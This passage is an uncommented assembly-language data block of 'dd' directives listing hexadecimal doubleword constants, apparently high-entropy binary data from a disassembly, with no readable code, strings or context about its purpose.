dd 0FCA01F24h, 4828C5EDh, 8360ACA3h, 0D8146291h, 7090677Dh
dd 6D5E03E9h, 0C0486190h, 2CBA44A0h, 50436628h, 11A34521h
dd 4C5580E2h, 8C65BA78h, 64F44h, 9EDC4C4Dh, 0B1BF915Ah
dd 75E7501Dh, 6C91E0FFh, 220164h, 71CF36F8h, 3F1E0EDDh
dd 4F726317h, 28BE3A00h, 6A9A14BAh, 8A89036h, 7C3F9621h
dd 0A9F1C730h, 1205426Ah, 4D45E40Ah, 4144B5A4h, 247D39A4h
dd 0D1043C2Ch, 2D07AF5Bh, 83217890h, 0EA8C286Eh, 581448ACh
dd 4DC860Ch, 0C0C2C21h, 113E4C01h, 9E0E1DA3h, 3B9C249Fh
dd 79AB7180h, 0F35560E1h, 0A8A22F24h, 4631589h, 0EA607F40h
dd 9230DE9h, 8B11BBh, 0C3E9E23Dh, 1FA59EB8h, 0A86DE0C2h
dd 5318EBBCh, 0BA764C08h, 4E4BC475h, 4600B308h, 74F372CCh
dd 36052A34h, 0C024E8A0h, 451BE3C9h, 701A776h, 0BDCEB606h
dd 0EC24A234h, 6AA8161Ah, 0AB6800D7h, 0CB4EF4ACh, 412AE1Dh
dd 4100B068h, 2B36C180h, 5F7B32h, 93BAC3E5h, 1AEBF663h
dd 0CA2FE018h, 0E804BE40h, 7458CCF8h, 9205E828h, 6606A719h
dd 3F88788Eh, 0BC9CFDC0h, 5BF2320Ch, 5D2E81D9h, 80284C14h
dd 0A3E9BF11h, 6E0087F6h, 45E7BF19h, 0C484545Ah, 0F6141C92h
dd 428FBDB1h, 0EAAF1367h, 8BEDDD60h, 4C52FA6Bh, 3034E25Ch
dd 490FFC09h, 62A24590h, 2C92E9h, 0E5DC5241h, 0ADA9B70Bh
dd 8074AF10h, 34C423C2h, 0E83E616Bh, 9F4AA08Fh, 3AC6A12Ch
dd 0A0403107h, 829FD5D4h, 0C6C18C82h, 0FA4878C0h, 0C5A0B03h
dd 98B8DD8h, 0A06E4320h, 7820A608h, 908CC1A0h, 21846F4h
dd 16538475h, 10A53199h, 847DD0h, 3D9248E1h, 6A39BD0Bh
dd 3AFF609h, 4954203Bh, 2E7B769h, 0F2218519h, 0C0A08759h
dd 9E3D64F0h, 0FE08CC00h, 49A3A278h, 4F060AE2h, 314C326h
dd 42A89862h, 0F8BC5107h, 0C0436CAEh, 18D96934h, 8B587400h
dd 127804C8h, 0EC8C2159h, 0B06E3FC7h, 0BC8EF383h, 0B1A0DFF7h
dd 751D9937h, 0D5845213h, 3885B8C1h, 0AC049084h, 0A0C88965h
dd 496BE698h, 4D235468h, 0EABF0E01h, 404ADEA3h, 0BF166F00h
dd 0D766797Eh, 74A1CA00h, 91971205h, 1000B88Dh, 0C9E8CB5h
dd 70304FFFh, 11C9BDCh, 0BA724C57h, 8ED83355h, 2E4CA004h
dd 0F67127h, 420FFE22h, 76EABC13h, 9A51DF1Bh, 1283C9C8h
dd 8C048429h, 0A43645B6h, 9A7C7800h, 0F44C0805h, 8420AE80h
dd 86A2D1B8h, 586AD520h, 2108814h, 0B81A0228h, 28A22344h
dd 4E465460h, 4A7FDF0Eh, 483CC100h, 24003DA7h, 94164607h
dd 9B7D8F67h, 0E9E801C8h, 18CB090Fh, 0E03B888Eh, 5BDCE907h
dd 0C811EF0Eh, 7BE5B048h, 4B19C88Ch, 8B4011D8h, 36530D10h
dd 33904864h, 10E0220h, 8090A53Ah, 0FE407ED4h, 0A0949293h
dd 16B96518h, 21ADABE8h, 190D2D8h, 4AFE1183h, 79505170h
dd 2FF183Eh, 2A074556h, 3C5024DCh, 8DFCB517h, 0D919B870h
dd 8BD30192h, 0E015FFBh, 8481F10Ah, 0E62D3AC0h, 0B9410B0h
dd 0CFD3FF1h, 0A698A021h, 0B1E98045h, 4B02DF1Ah, 710A1BFFh
dd 8E4F08Eh, 0B0988AA1h, 0E300BE90h, 21B5095Bh, 0AF633661h
dd 0EFC28EE9h, 0FD886EC0h, 78F76FD3h, 38ED417Ah, 0CBEA15C1h
dd 4C55DE70h, 6D804004h, 32A1BCBFh, 9DD8C904h, 0EA463E5Ah
dd 0CB00419Bh, 7D76C829h, 707A7004h, 1642C326h, 2C5C5C0h
dd 12BB11FCh, 449978A9h, 0B00B1852h, 961CB234h, 136C5028h
dd 0B72BF60h, 29A1B14Ah, 0A3DC0573h, 78D15828h, 7CD5BE03h
dd 1A419DFh, 489EC2B0h, 47F37017h, 76C0C8A8h, 46165484h
dd 7AA222A1h, 2F841CD1h, 0D6BF438Eh, 0AAC71F4Bh, 530C11ECh
dd 0C0B8A7DCh, 0D335242Fh, 73F82B51h, 34BC0448h, 0C921270Fh
dd 51D3008Ch, 89A77398h, 0C625Bh, 534FCF81h, 3413B2Bh
dd 0C6BA9850h, 0A3A91210h, 44581648h, 4A3036B7h, 0BE251847h
dd 0F649C780h, 0C09D4BFFh, 0B000463Dh, 2E61E8FCh, 0E504C129h
dd 7F98BE43h, 0BFDCBC80h, 0E0AE3341h, 0E2F4DE11h, 303FF28Ch
dd 4003618Eh, 0BE26672Ch, 83B90C89h, 7E292B0Fh, 3438112Eh
dd 0D5E01640h, 0BEACA97Dh, 0A7A2A823h, 61A69F30h, 0A1AF1888h
dd 80AAF9CDh, 8C4B2DC8h, 9193EA82h, 1833D158h, 386DF850h
dd 0BA05BCF4h, 0F2F9734h, 0F5C696D0h, 0E900B88Ah, 0B08F2DEAh
dd 2641EDABh, 5EEC688Bh, 0E0779546h, 67DC00D0h, 0AFEEC537h
dd 7D7D4213h, 0FA7B3302h, 517395B9h, 18407928h, 0AE29099Bh
dd 0C8C08C44h, 57406402h, 0C0B61843h, 0E822197Bh, 0B82501E9h
dd 463844E2h, 4C5A02DFh, 0C73DBA75h, 5203007Ch, 5F629B4Ch
dd 2B80081Fh, 0C965DD40h, 0B89D31F8h, 72A90450h, 0B416832Eh
dd 0F270107Ch, 0A88D3801h, 0E2587759h, 41B60CF0h, 0A2506344h
dd 0E694303Eh, 17842E5Ch, 0BE13F0D6h, 84303804h, 6D809A48h
dd 85B6F807h, 5744Fh, 0DEF4EDE2h, 0D9B92583h, 2A9F0901h
dd 48D2DBB7h, 0DE232C33h, 744C5901h, 0AC6845BAh, 4C5102B0h
dd 735941Dh, 31011824h, 7E5AEC1Ah, 0A0A27C33h, 0B86A30h
dd 145C390Bh, 320CBA12h, 0B1128CB2h, 4408651Dh, 0E9E4C079h
dd 0EB4F090Bh, 3F382Ch, 0F374E9DCh, 0F7225D8Dh, 0B5A21505h
dd 98489AF4h, 38A4809Eh, 27D3831Bh, 9B4AC400h, 30BA80E5h
dd 5B6618DAh, 91E03819h, 4D67A780h, 54B82883h, 0C80AB632h
dd 0E9E6307Bh, 0DB460971h, 411F8D22h, 3F97E9DEh, 264C6801h
dd 0B436AA98h, 7404FB22h, 0BB0A3FF4h, 2CA250D4h, 0E730A7F2h
dd 406C00D4h, 0F76908E6h, 1CB8BE7Bh, 0F5B7D306h, 0B997AA9h
dd 1DA81650h, 0FF10C040h, 0E82D4E26h, 0E584674h, 76DBE8D8h
dd 82811008h, 0C92666B7h, 9C8150E4h, 0E2E9187Eh, 0C3092310h
dd 3C009711h, 0CD99E9E1h, 94782338h, 6EB3EA01h, 0DCF41B5Ch
dd 0DEB92478h, 1FADB330h, 16C8D064h, 99980801h, 93C17980h
dd 0C012C725h, 1F0E5C81h, 0B8B3B246h, 25E4F681h, 29877BBAh
dd 49880207h, 6884FCC1h, 8C99BCACh, 0D8061D03h, 0C4C8E2BCh
dd 57ECA0B1h, 0FE8B437h, 0F495FC40h, 78A7D053h, 0F5FDB8C0h
dd 0D36801B0h, 1AB12A3Ch, 3BC3404h, 0FC24354Ch, 0CE008C4Ah
dd 246A47F1h, 408837Bh, 98C1BC1Ch, 0C37498ABh, 0AA302841h
dd 6ED94EBBh, 6345009Ch, 0A4749C4Ah, 943F70B5h, 0B78E852Ch
dd 5AE4D1EDh, 0A5B05092h, 0D300661Bh, 78B65661h, 0B93C9Ah
dd 0AB3F06B3h, 6412BB82h, 0F9842350h, 16222731h, 10364F43h
dd 0E4BF0C02h, 11C0EA3h, 0B5BF1469h, 0C9151A8Ch, 0EDE98B25h
dd 90B7DCh, 6C56B0Ch, 6A017451h, 34C213F0h, 589340D7h
dd 9828805Fh, 2C941BAFh, 0E58467Ch, 0C4C821F1h, 0B0B4C616h
dd 0A8221409h, 15148855h, 5C3E0CB6h, 647D4696h, 23943ACCh
dd 420F1D3Dh, 0A5987144h, 0C2001044h, 74E8F2D2h, 0BE70E78h
dd 2A6114D1h, 43362402h, 0EAD51F00h, 3A83014Bh, 102814BEh
dd 136F056h, 48F36B1Fh, 465ECC6Ch, 1EF003Fh, 0A3AFC0BCh
dd 0A29C34B5h, 774A2F0h, 6EA04A6Dh, 0E7D3F400h, 9FF50E96h
dd 0C1C00F4Bh, 0B08EAE53h, 23409FAh, 0C80D147h, 80445C0Ah
dd 19C35303h, 0E08C8B6Bh, 1E5A4912h, 0C07ABA2Dh, 4448F7D2h
dd 51E0E93Bh, 5120B13h
dd 0B43EC8C4h, 1143223h, 0DD8A00D9h, 2069AB1h, 0F8924Ch
dd 0C644B07Ch, 9308F168h, 32E95004h, 0D37E92h, 0D0085075h
dd 720F8C15h, 0D6165884h, 3FCD4038h, 7700847Ah, 0DEC704D2h
dd 0CC59ADA1h, 7C542EBCh, 1A035000h, 5EDB84B0h, 23EC3AA2h
dd 94611457h, 21DF4009h, 3041E8E2h, 600FE62Fh, 9850137Bh
dd 0D45A4C5Bh, 418D2780h, 0E41F84BFh, 296D0D40h, 11A81D44h
dd 4ED880A6h, 14B53DAFh, 34BD2633h, 4C12A905h, 0CEDC2454h
dd 0C09A8808h, 1A719BD4h, 9740A7F3h, 803891C8h, 8B6A4C9h
dd 4A1A000Ch, 0ADA25E16h, 0B0946FE4h, 0A83DE08Dh, 40F26872h
dd 0C2D41C31h, 71E024EBh, 0C58D09C8h, 12467C52h, 59847302h
dd 1C6916h, 20847BCEh, 0B71AF524h, 0B18F2205h, 4CA1638Eh
dd 97B81478h, 8817008Ch, 0F3E88074h, 700C3F02h, 0A02EC6FDh
dd 411D2D36h, 0E9204416h, 786C9367h, 463B7B83h, 0DDE00917h
dd 33C8617Fh, 0E023E361h, 814BAEC2h, 5070FB12h, 0AB0BFCBDh
dd 8220E4F0h, 123F844h, 2B94CDA1h, 0D837804h, 74AB6CB4h
dd 948E5163h, 59F05466h, 0C00E1005h, 85168E2Ah, 8CD29869h
dd 5A80D2F9h, 73E020CCh, 0D80C0C57h, 0F8A2DD71h, 3C133083h
dd 4CC5A391h, 0E9A8A663h, 943906E8h, 58A7C9D7h, 3EFD8813h
dd 74C8F413h, 55BF2776h, 4CE4D409h, 2F148318h, 7CAE2159h
dd 0F06082B0h, 40B4661Ch, 465CA8EAh, 5A3C33h, 0ABF67C74h
dd 38E632E8h, 74484090h, 70D59880h, 38282A05h, 4CB4C446h
dd 0FF471DCh, 8B44330Ah, 0AC4B9A20h, 4900F323h, 60017016h
dd 5A067531h, 8B3413ABh, 0C5A3C854h, 0ECA4A010h, 40314C09h
dd 0E6E492FEh, 51A1778h, 0DFB0C022h, 9586CA1h, 14BA0C18h
dd 4B3619A6h, 0E20484E5h, 3140F2D4h, 8AA060C9h, 424EDCF2h
dd 8D23142Fh, 31423900h, 5D2D3C9Dh, 8301852h, 10C9094Eh
dd 7A24F24Ch, 0E9E7048Ch, 0ACD3090Ah, 0DF42B038h, 0DB6600E9h
dd 34BBA408h, 58C035B7h, 4F8ADE98h, 0AD77264Bh, 685349FCh
dd 0C55AA70h, 9059AE88h, 2501B019h, 70959ADCh, 88C55E3Bh
dd 46B4860h, 5AF8544Eh, 0AFE8B074h, 0BE7CBCF4h, 97470527h
dd 809791F4h, 79DF5237h, 536916CDh, 420815Fh, 0D8343449h
dd 0D08B9E02h, 5974BFC7h, 60DCD3BCh, 1E9533Eh, 621318EBh
dd 2F157CAFh, 0E84B4840h, 2608E28Bh, 748450ABh, 4B005846h
dd 193E7F69h, 0D64D2D70h, 0DF8E04B4h, 2CBD9BA5h, 4A345A10h
dd 0A4233C2Fh, 6F329E00h, 78082585h, 9590EE56h, 0F2335437h
dd 0A267F0D5h, 0A7DC2DB5h, 0A8E57CA9h, 0A5633EE4h, 6DE8C7C1h
dd 39680264h, 4AF84B7Fh, 71BC597Ch, 0E831899h, 6411771Ah
dd 40218BAEh, 322B62FFh, 3F7512ECh, 17688449h, 818C91ACh
dd 52219C8h, 24268C29h, 25803DA0h, 0EE132ABEh, 8007C70Dh
dd 0E2B5B55h, 5CC40997h, 760110ECh, 0C40AA911h, 0B510A752h
dd 804B1184h, 22E3F24Ah, 6E90064h, 5C83A23Dh, 36077408h
dd 193137C1h, 0C8FE0E80h, 8EE9096Eh, 9045E078h, 0AB60A4E4h
dd 0F10619BDh, 4C9CEBD6h, 6B552D68h, 0DC004C0Ah, 7490EE13h
dd 0C5944C2h, 962D14F0h, 422C1838h, 1346842Ch, 5A847402h
dd 5C947116h, 847CCF07h, 4D501A44h, 2CDE0BBFh, 41A8396Ah
dd 6489DF6Ch, 24B46FD8h, 0C088ED25h, 9A7D6BEh, 0FD73C0FEh
dd 0D95C017Dh, 80D71094h, 58A82C90h, 0D712008Ch, 3FD5C3A3h
dd 9E052B61h, 836605E9h, 4EB160E6h, 0ECF8DE1Fh, 811B20h
dd 60EF5E3h, 6195A454h, 213E276h, 0A4801CF0h, 818EACD6h
dd 0B46B2B68h, 11E4272Eh, 0B6590F2Fh, 575039D0h, 0ABA26833h
dd 18EA30h, 8DCB4C60h, 364EF9B5h, 24612261h, 0F681F33Eh
dd 9338BE30h, 0E975FC6Bh, 0C02EDC5Eh, 0EE008C7Ah, 0F84D0C04h
dd 7B4A7071h, 8E21C005h, 0F9F21EA7h, 99D5DA00h, 67550FE3h
dd 0E500191h, 8A539C4Fh, 4C032B60h, 0A56FC925h, 98B228B3h
dd 12D7E30h, 0DB16C1FBh, 0BF3F0378h, 0AF740E89h, 19026158h
dd 0E8F0F9FAh, 0CBC2026Dh, 4C1128C0h, 3D2FA474h, 7B050700h
dd 726800E6h, 0AE1841A1h, 0B1813A04h, 57FF0074h, 3E62ACDAh
dd 0E93FF5D9h, 0E888DCA1h, 0BEEC8C8Ch, 83A1980Bh, 1C342207h
dd 9588526Ch, 5FD79C23h, 5451E49Ah, 70183879h, 0E77D9B0Eh
dd 1988824Ch, 10587EF5h, 4F070978h, 642CCD83h, 0E1F8B8CBh
dd 1FD25F12h, 0AD803211h, 0A5795468h, 5B009AEAh, 35B11314h
dd 25E874DDh, 444812F2h, 970978ABh, 5108D6F8h, 6804A750h
dd 0C550A9A6h, 0E0A45403h, 8AF700DBh, 0B7045617h, 0A900ED50h
dd 0D21820AAh, 123E3696h, 8B02BD3Ch, 0C099C818h, 0DCDA922Bh
dd 0C95DD01h, 9D9381D8h, 0F510AC2Dh, 0B07E2E42h, 11140800h
dd 3A8EDC53h, 0C81EBC2h, 0B40AFF10h, 0C3B8A542h, 0C72DC240h
dd 63AAC40Ch, 0F0FBC076h, 8FA758A8h, 0A178D101h, 6A9F74B5h
dd 0B4FB822h, 0E0946C61h, 0E69FE3Fh, 70B45B79h, 0A73DA642h
dd 68DA31BDh, 218095E9h, 0DFFC9864h, 9E02A9C3h, 0AB5BF338h
dd 0E9A4A37Ch, 0BD29009Ch, 0FE1F5F80h, 6600AF1Dh, 0BED9A9E8h
dd 10C7DB7h, 1AEDE48Ch, 2B832EF3h, 3723D82Eh, 6084B400h
dd 3A530ED4h, 29CDD44h, 0C85003E9h, 58BAA8DCh, 0ADA9C4A0h
dd 0C8D276D8h, 41BB04F0h, 88602F7Bh, 0A09BE5D6h, 8681C9FCh
dd 0C49A120h, 0A044ADA3h, 1A2D0548h, 86440F9Ch, 161ECBDh
dd 0EEB08EBBh, 3F82D42Fh, 1F17306Bh, 40940057h, 58C741ACh
dd 3756B425h, 85840704h, 0BBC2934Eh, 418859A8h, 0DC60930Eh
dd 408DE271h, 0D4809803h, 94C3046Eh, 0EA899DFh, 30CE00E2h
dd 5C61CB53h, 4BE8105Ch, 7776068Ch, 4070BBB9h, 918497B5h
dd 78A180A6h, 18DFB761h, 613E0380h, 0EF74C277h, 0E076500h
dd 0B0F36E78h, 5BBF0149h, 58CED08h, 28D44912h, 8C32BC00h
dd 24424000h, 9F9695F2h, 84021808h, 5ABC5050h, 73FCA097h
dd 1F34F6h, 78F84625h, 12948EC4h, 75E94C07h, 26E05210h
dd 948F6B8h, 9DA989C0h, 4BD134F1h, 0D61C0F18h, 0C28F2A10h
dd 0D7401FD2h, 0F1A81A74h, 0B658D28Eh, 0AD0FE058h, 803C94E9h
dd 365A5D34h, 102D0623h, 8F1024BBh, 0A078D4C1h, 72158301h
dd 0D6107F9Ch, 0BB248CA8h, 8019351Ch, 0D40A86E0h, 8B788CB2h
dd 0D0120616h, 0C2DB90C0h, 3D5C9960h, 0A1B169E0h, 221A8970h
dd 4C2836E4h, 0D1F4B148h, 1161899h, 2621EA63h, 802536C9h
dd 0AF3781A1h, 130EFB5Ah, 0E4D4C5D9h, 5309152Ch, 32760C48h
dd 797079F8h, 46C183Fh, 0FF34BC8Ah, 29ECF048h, 0E2C321C7h
dd 63AB3260h, 0EC9007Eh, 0ED9A33D8h, 0BD137641h, 6F06C2h
dd 8065F40Ah, 7BE408D8h, 0E18E0100h, 30A3197Fh, 48E94003h
dd 0CD001168h, 37276918h, 0FCB886C0h, 0AC0E0031h, 8B7E01EDh
dd 0C348EB9Fh, 8CA7E8E0h, 16841358h, 4E2CF4Ah, 83117900h
dd 0BA5DD7A5h, 0C2818B00h, 983C9340h, 6E7E4FCBh, 58180200h
dd 60DB2F71h, 0B4105C5h, 8CD0C5A4h, 0BC2978D2h, 8902E44Dh
dd 0F421CC0Ah, 9C708980h, 0A80050FBh, 91D17619h, 0A9F01385h
dd 25B0D1DFh, 62C848BCh, 0B72AE16h, 948EE084h, 37C05988h
dd 1314ECD0h, 0D1A5D9E0h, 94466ACh, 0A288BC0Bh, 45566C1h
dd 200C429h, 7488D98Ah, 8D01AEB2h, 1CB7ABE6h, 39C904BEh
dd 10E6892h, 5C7D47A3h, 59C02C88h, 7C8EC60h, 34DB93AEh
dd 1BF83EDh, 0F5B5A3C1h, 0E83300AAh, 4F8109D2h, 0F0516C50h
dd 1F540284h, 93384812h
dd 264F8701h, 298455C7h, 526C2209h, 8B23106Eh, 59701A01h
dd 6872AAF0h, 2F4B5058h, 3382364h, 5771406Bh, 0FCA3A0DFh
dd 0BD17A422h, 20299D44h, 3788744Eh, 0E974A2CFh, 3A1CE0A6h
dd 876928B0h, 27F27ED8h, 0A0974E7Ch, 1381A391h, 0F299D794h
dd 8001D87Eh, 8DC9E654h, 0AABC8478h, 6328018Ch, 0B7CD4EBFh
dd 0E62DD8C3h, 0B60A289Ah, 54C41073h, 38AB465Ch, 0C0D400CFh
dd 0D3126067h, 0AC4B0075h, 0F35E5680h, 5CB90140h, 4000ED4Bh
dd 2DB8D524h, 687B231Fh, 220B72Dh, 4C7D739h, 385644EAh
dd 374676h, 4DAFF8D1h, 1A14B64h, 43A7B7A8h, 7C42DE2Dh
dd 0E8032F20h, 9D0DC4h, 474A246Dh, 96856639h, 0C8C1CE4Ah
dd 526FAE98h, 0AF30635Ch, 0E960E390h, 0F0C5A113h, 0B96104E0h
dd 0B871492Ch, 0D6185759h, 0D724874Dh, 9300006Ah, 9C1F11DCh
dd 0C2098EF7h, 425073CBh, 0F93CF968h, 2481832h, 9CD66D1Bh
dd 30644AE3h, 2E07745h, 934643A4h, 8DC8908Ah, 0AF3A07CBh
dd 0ED2B820h, 5AAF6EAh, 0F5E29102h, 0A398C807h, 7860AD26h
dd 972540A4h, 803891F4h, 482A835Fh, 6BA80022h, 0BC8C960Ch
dd 4B5E622Ch, 9B7E002h, 0E207A3h, 0BD61AC39h, 7D297A00h
dd 701BAAE9h, 8094B9F3h, 9B16514Dh, 80B538Ah, 9D81A1FAh
dd 8096114Ch, 6CDA21E3h, 0A80405F2h, 13E73EF7h, 8800CFE4h
dd 91F1C33Fh, 2F3EE010h, 18B01A16h, 3340E0FEh, 0BA7D461Ch
dd 0C8E67392h, 0B5A205E0h, 2497BC2Eh, 4EE40A84h, 4FB6822h
dd 1C843958h, 2FBD2953h, 5A090E1h, 0B86FB412h, 154CF903h
dd 0BAA0D880h, 0C5321736h, 93B8A1h, 6ADA1205h, 6DC40997h
dd 217160BCh, 537E7B17h, 0CCDABB00h, 92C1C3F3h, 1CAF1DBCh
dd 51ED02CEh, 24D3831Fh, 23BC558h, 23E7877Dh, 7C5667EEh
dd 384674h, 9F0C1B11h, 1259602Fh, 0E3834905h, 3396A2CCh
dd 30E78D99h, 4B764550h, 0E5BC600h, 480454F7h, 8A68B8C0h
dd 0D69C7CDCh, 327F8E00h, 0A1EBE7FEh, 11DF106Ch, 0FC9D4B7Eh
dd 0A3AC446Ch, 981F128Ch, 5BF4D3ACh, 790CD9CEh, 0D21D422Fh
dd 0D6680792h, 4074EB99h, 0F1BC76F4h, 0E8FA481Ch, 3BF73100h
dd 0B49412F3h, 7B158CC8h, 55888251h, 0AE08020Eh, 192EA2F9h
dd 1D689C60h, 3C2F7681h, 0C28841D0h, 0F28470EBh, 0B8140A45h
dd 7CA895B1h, 7A004B46h, 19F7A3C3h, 6AF9DEC2h, 343AF816h
dd 5200A623h, 0F2F145F9h, 0B18E0189h, 0AE49B75Ah, 2F83C5Ch
dd 0C6266487h, 426CD43Ch, 0CC5E6B0Fh, 91EC213Dh, 44885F35h
dd 62304808h, 1D6AF101h, 3E4359EEh, 51047027h, 0D2C5ED00h
dd 49584041h, 1A0981A4h, 0C8533E1Ch, 0BA510537h, 53B2F34h
dd 5AB050B4h, 28DE2040h, 34F4674h, 162D53C5h, 9E6BA0CBh
dd 204C9077h, 0E0238FEh, 48F4704Ah, 4A84F416h, 73490026h
dd 1CC8C988h, 0AF7D7C01h, 30DEFD39h, 90438A4h, 8840D4ADh
dd 0F21C1B5Ch, 0E0E52D33h, 50EA417Ch, 0D76C9C46h, 0F05CE6C0h
dd 4E6E142h, 0B5A3781Dh, 93CB0D8h, 39E02A12h, 0AF0420A7h
dd 0F932FC0Ah, 5C4204E4h, 5A42F8A8h, 0F4A18D39h, 0AE417A09h
dd 465E0C2Ah, 32F80033h, 0A2A6D98Eh, 16720968h, 0BCD0C9C0h
dd 0C2716725h, 7950F100h, 90CF1997h, 12536DEEh, 0F75F25F9h
dd 0F5A3F0A4h, 19C605C9h, 0AD2F5E2Dh, 17DC2534h, 804B11ACh
dd 0CD1E8A37h, 32E90B2Fh, 0DCD03EC4h, 0AF2BD504h, 94BC60B6h
dd 28BDA405h, 0D32CBC83h, 3723282Eh, 1E4DB701h, 4CFCE8E2h
dd 5DDE0CCCh, 78E1865Ah, 52EF3Bh, 6448B14Fh, 27183B04h
dd 0F4130F2Bh, 0C1003DD3h, 90C54F33h, 14A8B55h, 0E8791D8Ch
dd 280F0B72h, 8CA1BC6Ch, 48100D0Bh, 0B8C081E9h, 887CF2CFh
dd 0AFC12584h, 7B19E837h, 0C895A5B4h, 0DE80A191h, 6E914E7h
dd 10683F5Ch, 64507234h, 14C34825h, 28120983h, 8E0388A6h
dd 0F22AAB0h, 0F85083F3h, 0E6D46F10h, 1284B0F2h, 0F4C0B81Fh
dd 0D0A87764h, 855ED796h, 14B02417h, 44484CD3h, 8C59FCh
dd 0DD9FBD46h, 0E8F9B825h, 2FBFC6E8h, 0A004F23Ch, 1007A09Dh
dd 0D6449107h, 4B7C6888h, 0CCE23484h, 9F3057F2h, 4A333C40h
dd 0C84CCECBh, 0FCD2C0A0h, 8813FF95h, 3C44BC0Ah, 0A0A28B41h
dd 65308EF2h, 0A4022781h, 80747C84h, 1C4CFAA4h, 2598DA3Eh
dd 5AE8C1E8h, 0B3900FFh, 0D8792B73h, 9D1D60E3h, 6A0332A4h
dd 0B1C6368Dh, 14620665h, 506E4Bh, 0EB294FF1h, 52603A4h
dd 0C3BD3133h, 0C118E1C0h, 5CBD0592h, 48A48C21h, 0C98465Ch
dd 3AB32E16h, 87C4824h, 0A8B1EF05h, 0BC20EC89h, 0E0018C98h
dd 0C696A255h, 0C842B59Eh, 90E6277Bh, 97894E10h, 54162C90h
dd 4C44EC41h, 3BAF42DCh, 13723FCh, 7149D6F7h, 3BED813h
dd 5B24B00Ch, 1C67983h, 0BA13412h, 0EC4B3E91h, 0D500B232h
dd 43A37B6Dh, 0B233522Dh, 2C609BA4h, 8CC9251Ch, 33BFD171h
dd 33ABA214h, 9F9B11F8h, 4D049307h, 0D8928B24h, 3848D431h
dd 0B997AE92h, 0D9483014h, 6258BE23h, 73E988A1h, 0A0F11CD9h
dd 0BC580518h, 1DE0786Bh, 1ABDC1ECh, 516C7B6Ch, 4D88701Bh
dd 380BB0B2h, 823CA3C7h, 12CFB98h, 708AACAFh, 8248A1EEh
dd 8C99E824h, 3FB86E00h, 0EC59A72h, 8DF932D8h, 0CFC9370h
dd 0D2FD4006h, 4700BC99h, 1A68E049h, 826CAA3h, 120B0018h
dd 0A51CD13Ch, 8C915C17h, 1E86B980h, 8760BF26h, 0E20E6219h
dd 44D812D1h, 5B5CE855h, 170944CCh, 22579022h, 0C85CC48Ch
dd 0C0CC6D2Fh, 0D81417C9h, 9CE1A54Bh, 5C473C30h, 56E81CBDh
dd 0A4780E8Ch, 458B0208h, 0F9B09020h, 6B4CA1B1h, 8C9AE8A4h
dd 7503D772h, 85BF8E2h, 941C7CAh, 6C60D580h, 12E9EC06h
dd 0C01DE014h, 16EABCF0h, 34A1B82Ch, 0EDCA8AEh, 0F495FF10h
dd 0EAE85080h, 410BA34h, 0AF272F6Eh, 31003459h, 0EF2EDBFBh
dd 0D63E0001h, 67929713h, 9A002B94h, 0D162D887h, 312CBC20h
dd 0AE403276h, 0AD34E118h, 4018CF38h, 45058B96h, 0A436BB02h
dd 4079B0D5h, 5E12A904h, 0B5CC4280h, 500178F0h, 54D9D598h
dd 25B8547Dh, 97041309h, 8E2461F9h, 17CD6610h, 27F426B0h
dd 9B00F27Ch, 960EA941h, 1381E7FEh, 61C0FECh, 9953487Ch
dd 0A0BCAD10h, 0EC145407h, 786001E8h, 0D6346824h, 0B0E044E6h
dd 5F004D37h, 0C3B18EE1h, 77BE75FEh, 7A464EFCh, 2C5E24D4h
dd 4E06D1Eh, 0AC986213h, 82B04942h, 75537207h, 10B830A8h
dd 885A85DDh, 83639840h, 1F04FE6Dh, 0DEE89A6Ch, 0A71C7E17h
dd 0A449120Ah, 8E3C6A74h, 0E89C483Eh, 99008C97h, 0EA6260Fh
dd 0B4B65B5Eh, 0CE230400h, 0A84ECA8h, 9C273752h, 76980280h
dd 739712Dh, 86CFD5E9h, 0DB579195h, 59D1A752h, 80D31C68h
dd 807F026h, 130B6346h, 1D67FA31h, 803D91B4h, 1CC26A58h
dd 601DB5B5h, 0D6845711h, 1420BE6Fh, 4F85A77Eh, 23D06F8Ah
dd 18F10FA7h, 0E22DBE80h, 0CF4C7076h, 0B2811098h, 98ACCC5Bh
dd 80D9AF69h, 4492B24h, 2C884FD4h, 8016C2C4h, 0F8B62EA1h
dd 0DAA9C1E3h, 0C8F2FFEh, 0AB004D22h, 8817C378h, 5F2A0728h
dd 0CFC88708h, 772200D6h, 2D2C0145h, 4CB3424Bh, 0F73140B2h
dd 5C54E820h, 7884706Dh, 8C210045h, 0B9CC1283h, 1834F9C4h
dd 61F70958h, 7C9C0Bh, 0C400743Dh, 592C9D34h, 4E258F7Ch
dd 0E9FCE4C7h, 0DF8284A8h, 0B1BD3F05h, 78C2FC09h, 8E028B7h
dd 88068001h, 97499CFDh, 88DBA02Bh, 6EBFD073h, 89E10468h
dd 0D120D5A3h, 0AD7BE970h
dd 0C554ED29h, 5D708111h, 8F5858B2h, 5EB81A88h, 1B8D75Dh
dd 60A94E31h, 89006198h, 71156C01h, 9F0448F3h, 0A17D420h
dd 680FCB05h, 2151F1FFh, 0C991C4B4h, 58C1E9F0h, 0C55BA2E0h
dd 239C3AB0h, 1ABA05A1h, 169C810Dh, 8518695Dh, 98E842AEh
dd 8C37ECh, 33B48BD3h, 0E1CFCA3Eh, 70625E04h, 16BE820Dh
dd 0E04CB610h, 3BAE54C1h, 7482A2F3h, 480206FCh, 7C13507Ch
dd 25A4F8B0h, 98179E46h, 0CB80A791h, 6B3F95BCh, 59E01613h
dd 27BA5CF0h, 18825614h, 24F64C36h, 7390D325h, 0DE63CBF0h
dd 0B2B92017h, 0AB8850CEh, 839710C0h, 0B8B1071Dh, 50EC9E5Ch
dd 3230B9D5h, 58A69D4Ah, 0D3285E0h, 60C0564Bh, 5C409C33h
dd 368B3003h, 4F7F0810h, 7214DAFAh, 8962BDh, 0F1C084F3h
dd 172E9C27h, 3AD9B926h, 7A32360h, 892F05ACh, 32113C1Fh
dd 7262CA80h, 1E023CC1h, 100A06B1h, 8368E84Dh, 20D490EDh
dd 6A978145h, 0D8B57D74h, 0B0C4DBBAh, 0AB23742Eh, 54FAFD03h
dd 44D688EFh, 14CC1CB5h, 6FDA561Ch, 64F70280h, 6048FFD2h
dd 8098159Ch, 20B5E8E3h, 0D0FB5038h, 0EDF1000Ah, 0D15A1CBDh
dd 1424C3C2h, 9C11948Ch, 9EDB3600h, 572BDD53h, 9D709000h
dd 4219A9D6h, 41FB0B9Bh, 3882932Ch, 3CD62739h, 0FCBC8C60h
dd 0F4474BBEh, 9F403DF4h, 0BF8098E2h, 884EF029h, 403C4D95h
dd 0FB944967h, 7CFA0E04h, 0D491F5D7h, 0FC2381B3h, 9930A3A2h
